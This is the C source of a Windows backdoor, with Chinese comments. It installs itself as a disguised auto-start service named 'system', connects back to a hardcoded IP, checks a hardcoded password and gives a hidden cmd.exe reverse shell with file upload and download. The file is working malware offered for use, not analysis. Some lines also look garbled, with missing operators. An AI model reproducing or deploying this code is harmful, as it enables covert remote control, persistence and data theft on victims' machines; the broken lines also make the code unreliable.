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   源码介绍

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#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")    
          
void  WINAPI ServiceMain(DWORD,LPTSTR *);
DWORD WINAPI CmdService(LPVOID);
DWORD WINAPI CmdShell(LPVOID);
void  WINAPI ServiceCtrlHandler(DWORD Opcode);
BOOL  InstallCmdService();
void  DelServices();
int   door();
void  Usage(void);
VOID  WINAPI EXEBackMain (LPVOID s);

SERVICE_STATUS		  m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning=true;
BOOL flag=true;

#define PASSSUCCESS "Password success!\n"
#define PASSERROR "Password error.\n"
#define BYEBYE "ByeBye!\n"
#define WSAerron WSAGetLastError()
#define erron GetLastError()
#define PORT 80 //远程的连接端口
#define DEST_IP_ADDR "192.168.181.128"//要连接的远程IP

int main(int argc,char *argv[])
{
   	SERVICE_TABLE_ENTRY DispatchTable[] =
	{
		{"system",ServiceMain},//服务程序的名称和入口点(函数)
		{NULL    ,NULL    }//SERVICE_TABLE_ENTRY结构必须以“NULL”结束；
	};
	if(argc==1) door();
	if(argc==2) 
	{
		if(!stricmp(argv[1],"-i"))//如果第二个参数等于-install
		{
			InstallCmdService();
		}
		else if(!stricmp(argv[1],"-r"))//比较字符串s1和s2
		{
			DelServices();
		}
		else
		{
			Usage();
		}
		return 0;
	}
	StartServiceCtrlDispatcher(DispatchTable);//把入口点的地址传入
	return 0;
}

int door ()
{
	SOCKET sock=NULL;
	struct sockaddr_in sai;
	TCHAR UserPass[20]={0};    //用户设置密码缓冲
	TCHAR PassBuf[20]={0};     //接收密码缓冲
	TCHAR PassBanner[]="Password:";
	TCHAR Banner[]="--------- backdoor---------\n";
	sai.sin_family=AF_INET;
	sai.sin_addr.s_addr=inet_addr(DEST_IP_ADDR);
	sai.sin_port=htons(PORT);
	//sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	while (TRUE)
	{
		WSADATA wsadata;
		BOOL ThreadFlag=FALSE;
		DWORD ThreadID=0;
		int nRet=0;
		nRet=WSAStartup(MAKEWORD(2,2),&wsadata); //初始化
		if (nRet)
		{
			return 0;
		}
		sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
		if (sock==INVALID_SOCKET)
		{
			goto Clean;
		}
		nRet=connect(sock,(struct sockaddr*)&sai,sizeof (struct sockaddr));
		Sleep(3000);
		if (nRet!=SOCKET_ERROR)
		{
			nRet=send(sock,Banner,sizeof (Banner),0);
			while (TRUE)
			{
				 nRet=send(sock,PassBanner,sizeof (PassBanner),0);
				 nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0);
				 if (strnicmp(PassBuf,"wangrun",strlen("wangrun"))==0)
				 {
					 send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0);
					 ThreadFlag=TRUE;
					 break;
				 }
				 if (nRet==SOCKET_ERROR)
				 {
					goto Clean;
				 }
				 Sleep(100);
			}
			if (ThreadFlag)
			{            
				CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)EXEBackMain,(LPVOID)sock,0,&ThreadID);
				while(flag) {}
				flag=true;
			}
		}
		Sleep(1000);
	}
	Clean:
		if (sock!=NULL)	closesocket(sock);
		WSACleanup();
		return 0;
}

void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpArgv) 
//服务主函数
{
    m_ServiceStatus.dwServiceType = SERVICE_WIN32;
	m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; 
	m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
	m_ServiceStatus.dwWin32ExitCode = 0; 
	m_ServiceStatus.dwServiceSpecificExitCode = 0; 
	m_ServiceStatus.dwCheckPoint = 0; 
	m_ServiceStatus.dwWaitHint = 0;
	m_ServiceStatusHandle = RegisterServiceCtrlHandler("system",ServiceCtrlHandler);
	if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)return; 
	m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
	//设置服务状态
	m_ServiceStatus.dwCheckPoint = 0; 
	m_ServiceStatus.dwWaitHint = 0; 
	//SERVICE_STATUS结构含有七个成员，它们反映服务的现行状态。
	//所有这些成员必须在这个结构被传递到SetServiceStatus之前正确的设置
	if( SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus))
 		bRunning=true;
	door(); //启动服务程序
	return; 
}

void WINAPI ServiceCtrlHandler(DWORD Opcode)//服务控制函数
{
	switch(Opcode) 
	{ 
	case SERVICE_CONTROL_PAUSE:    // we accept the command to pause it
		m_ServiceStatus.dwCurrentState = SERVICE_PAUSED; 
		break; 
	case SERVICE_CONTROL_CONTINUE:  
		m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
		break; 
	case SERVICE_CONTROL_STOP:   
		m_ServiceStatus.dwWin32ExitCode = 0; 
		m_ServiceStatus.dwCurrentState = SERVICE_STOPPED; 
		m_ServiceStatus.dwCheckPoint = 0; 
		m_ServiceStatus.dwWaitHint = 0; 
		SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
		bRunning=false;
		break;
	case SERVICE_CONTROL_INTERROGATE: 
		break; 
	} 
	return; 
}

BOOL InstallCmdService()//安装服务函数
{
	char strDir[1024];
	SC_HANDLE schSCManager,schService;
	GetCurrentDirectory(1024,strDir);//取当前目录
	GetModuleFileName(NULL,strDir,sizeof(strDir));
	//取当前文件路径和文件名
	char chSysPath[1024];
	GetSystemDirectory(chSysPath,sizeof(chSysPath));//取系统目录
	strcat(chSysPath,"\\system.exe");
	//将scvhost.exe拼接到系统目录
	if(CopyFile(strDir,chSysPath,FALSE))printf("Copy file OK\n"); 
	// 把当前服务程序复制到系统根目录为system.exe
	strcpy(strDir,chSysPath);
	schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); 
	if (schSCManager == NULL) 
	{
		printf("open scmanger failed,maybe you do not have the privilage to do this\n");
		return false;
	}
	LPCTSTR lpszBinaryPathName=strDir;
	schService = CreateService(schSCManager,
		"system",
		"system", //将服务的信息添加到SCM的数据库
		SERVICE_ALL_ACCESS, // desired access 
		SERVICE_WIN32_OWN_PROCESS, // service type 
		SERVICE_AUTO_START, // start type 
		SERVICE_ERROR_NORMAL, // error control type 
		lpszBinaryPathName, // service's binary 
		NULL, // no load ordering group 
		NULL, // no tag identifier 
		NULL, // no dependencies 
		NULL, // LocalSystem account 
		NULL); // no password 
    if (schService) 
		printf("Install Service Success!\n");
	else
		return false; 
	CloseServiceHandle(schService); 
	return true;
}

void DelServices()
{
    char name[100];
    SC_HANDLE scm;
    SC_HANDLE service;
    SERVICE_STATUS status;
	strcpy(name,"system");
    if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
    {
        printf("OpenSCManager Error ");
    }
    service=OpenService(scm,name,SERVICE_ALL_ACCESS|DELETE);
    if (!service)
    {
        printf("OpenService error! ");
        return;
    }
    BOOL isSuccess=QueryServiceStatus(service,&status);
    if (!isSuccess)
    {
        printf("QueryServiceStatus error! ");
        return;
    }
    if ( status.dwCurrentState!=SERVICE_STOPPED )
    {
        isSuccess=ControlService(service,SERVICE_CONTROL_STOP,&status);
        if (!isSuccess )
            printf("Stop Service error! ");
        Sleep( 500 );
    }
    isSuccess=DeleteService(service);
    if (!isSuccess)
         printf("Delete Service Fail!");
    else
         printf("Delete Service Success! ");
    CloseServiceHandle(service );
    CloseServiceHandle(scm);
}

VOID WINAPI EXEBackMain (LPVOID s)
//BOOL EXEBackMain (SOCKET sock)
{    
    SOCKET sock=(SOCKET)s;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hRead=NULL,hWrite=NULL;
    TCHAR CmdSign[]="\nwr:\\>";
    while (TRUE)
    {
		TCHAR MsgError[50]={0};     //错误消息缓冲
		TCHAR Cmdline[300]={0};     //命令行缓冲
		TCHAR RecvBuf[1024]={0};    //接收缓冲
		TCHAR SendBuf[2048]={0};    //发送缓冲
		char *filename;
		SECURITY_ATTRIBUTES sa;
		DWORD bytesRead=0;
		int ret=0,size,i;
		FILE *fp;
		sa.nLength=sizeof(SECURITY_ATTRIBUTES);
		sa.lpSecurityDescriptor=NULL;
		sa.bInheritHandle=TRUE;
		//创建匿名管道
		if (!CreatePipe(&hRead,&hWrite,&sa,0))
		{
			goto Clean;
		}
		si.cb=sizeof(STARTUPINFO);
		GetStartupInfo(&si);
		si.hStdError=hWrite;
		si.hStdOutput=hWrite;    //进程（cmd）的输出写入管道
		si.wShowWindow=SW_HIDE;
		si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
		GetSystemDirectory(Cmdline,sizeof (Cmdline));  //获取系统目录
		strcat(Cmdline,"\\cmd.exe /c ");                //拼接cmd
		/*ret=send(sock,CmdSign,sizeof (CmdSign),0);      //向目标发送提示符
		if (ret==SOCKET_ERROR)
		{
			goto Clean;
		}*/
		ret=recv(sock,RecvBuf,sizeof (RecvBuf),0);       
		//接收目标数据
		//如果为exit或quit，就退出
		if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0)
		{
			send(sock,BYEBYE,sizeof (BYEBYE),0);
			goto Clean;
		}
		//upload
		if (strnicmp(RecvBuf,"upload",6)==0)
		{
			filename=RecvBuf 7;
			if((fp=fopen(filename,"wb"))==NULL)
			{
				printf("can't open file \n");
				continue;
			}
			printf("%s is recving ...\n",filename);
			recv(sock,(char *)&size,sizeof(size),0);
			i=0;
			while((ret=recv(sock,RecvBuf,sizeof (RecvBuf),0))>0)
			{
				i =ret;
				fwrite(RecvBuf,ret,1,fp);
				memset(RecvBuf,0,sizeof(RecvBuf));
				if(i==size) 
				{
					printf("transport successful!\n");
					break;
				}
			}
			fclose(fp);
		}
		//download
		if (strnicmp(RecvBuf,"download",8)==0)
		{
			filename=RecvBuf 9;
			if((fp=fopen(filename,"rb"))==NULL)
			{
				printf("can't open file \n");
				continue;
			}
			printf("%s is sending ...\n",filename);
			fseek(fp,0,SEEK_END);
			size=ftell(fp);
			fseek(fp,0,SEEK_SET);
			send(sock,(char *)&size,sizeof(size),0);
			while((ret=fread(SendBuf,1,1024,fp))>0)
			{
				send(sock,SendBuf,ret,0); 
				memset(SendBuf,0,sizeof(SendBuf));
			}
			fclose(fp);
			printf("transport successful!\n");
		}
		//表示对方已经断开
		if (ret==SOCKET_ERROR)
		{
			goto Clean;
		}
		//表示接收数据出错
		if (ret<=0)
		{
			#ifdef DEBUGMSG
				  sprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron);
				  send(sock,MsgError,sizeof (MsgError),0);
			#endif      
			continue;
		}
		Sleep(100); 
		strncat(Cmdline,RecvBuf,sizeof (RecvBuf));  
		//拼接一条完整的cmd命令
		//创建进程，也就是执行cmd命令
		if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
		{
			continue;
		}
		CloseHandle(hWrite);
		while (TRUE)
		{
			//无限循环读取管道中的数据，直到管道中没有数据为止
			if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
				break;
			send(sock,SendBuf,bytesRead,0);      
			//发送出去
			memset(SendBuf,0,sizeof (SendBuf));  
			//缓冲清零
			Sleep(100);                                    
		}
    }
    Clean:
          //释放句柄
          if (hRead!=NULL)
              CloseHandle(hRead);
          if (hWrite!=NULL)
              CloseHandle(hWrite);
          //释放SOCKET
          if (sock!=NULL)
              closesocket(sock);
		  flag=false;
          WSACleanup();
          ExitThread(0);
          //return 0;
}

void Usage()
{
	fprintf(stderr,"Code by wangrun\n""Usage:%s [-i] [-r] -i: install service; -r: remove service.\n");
}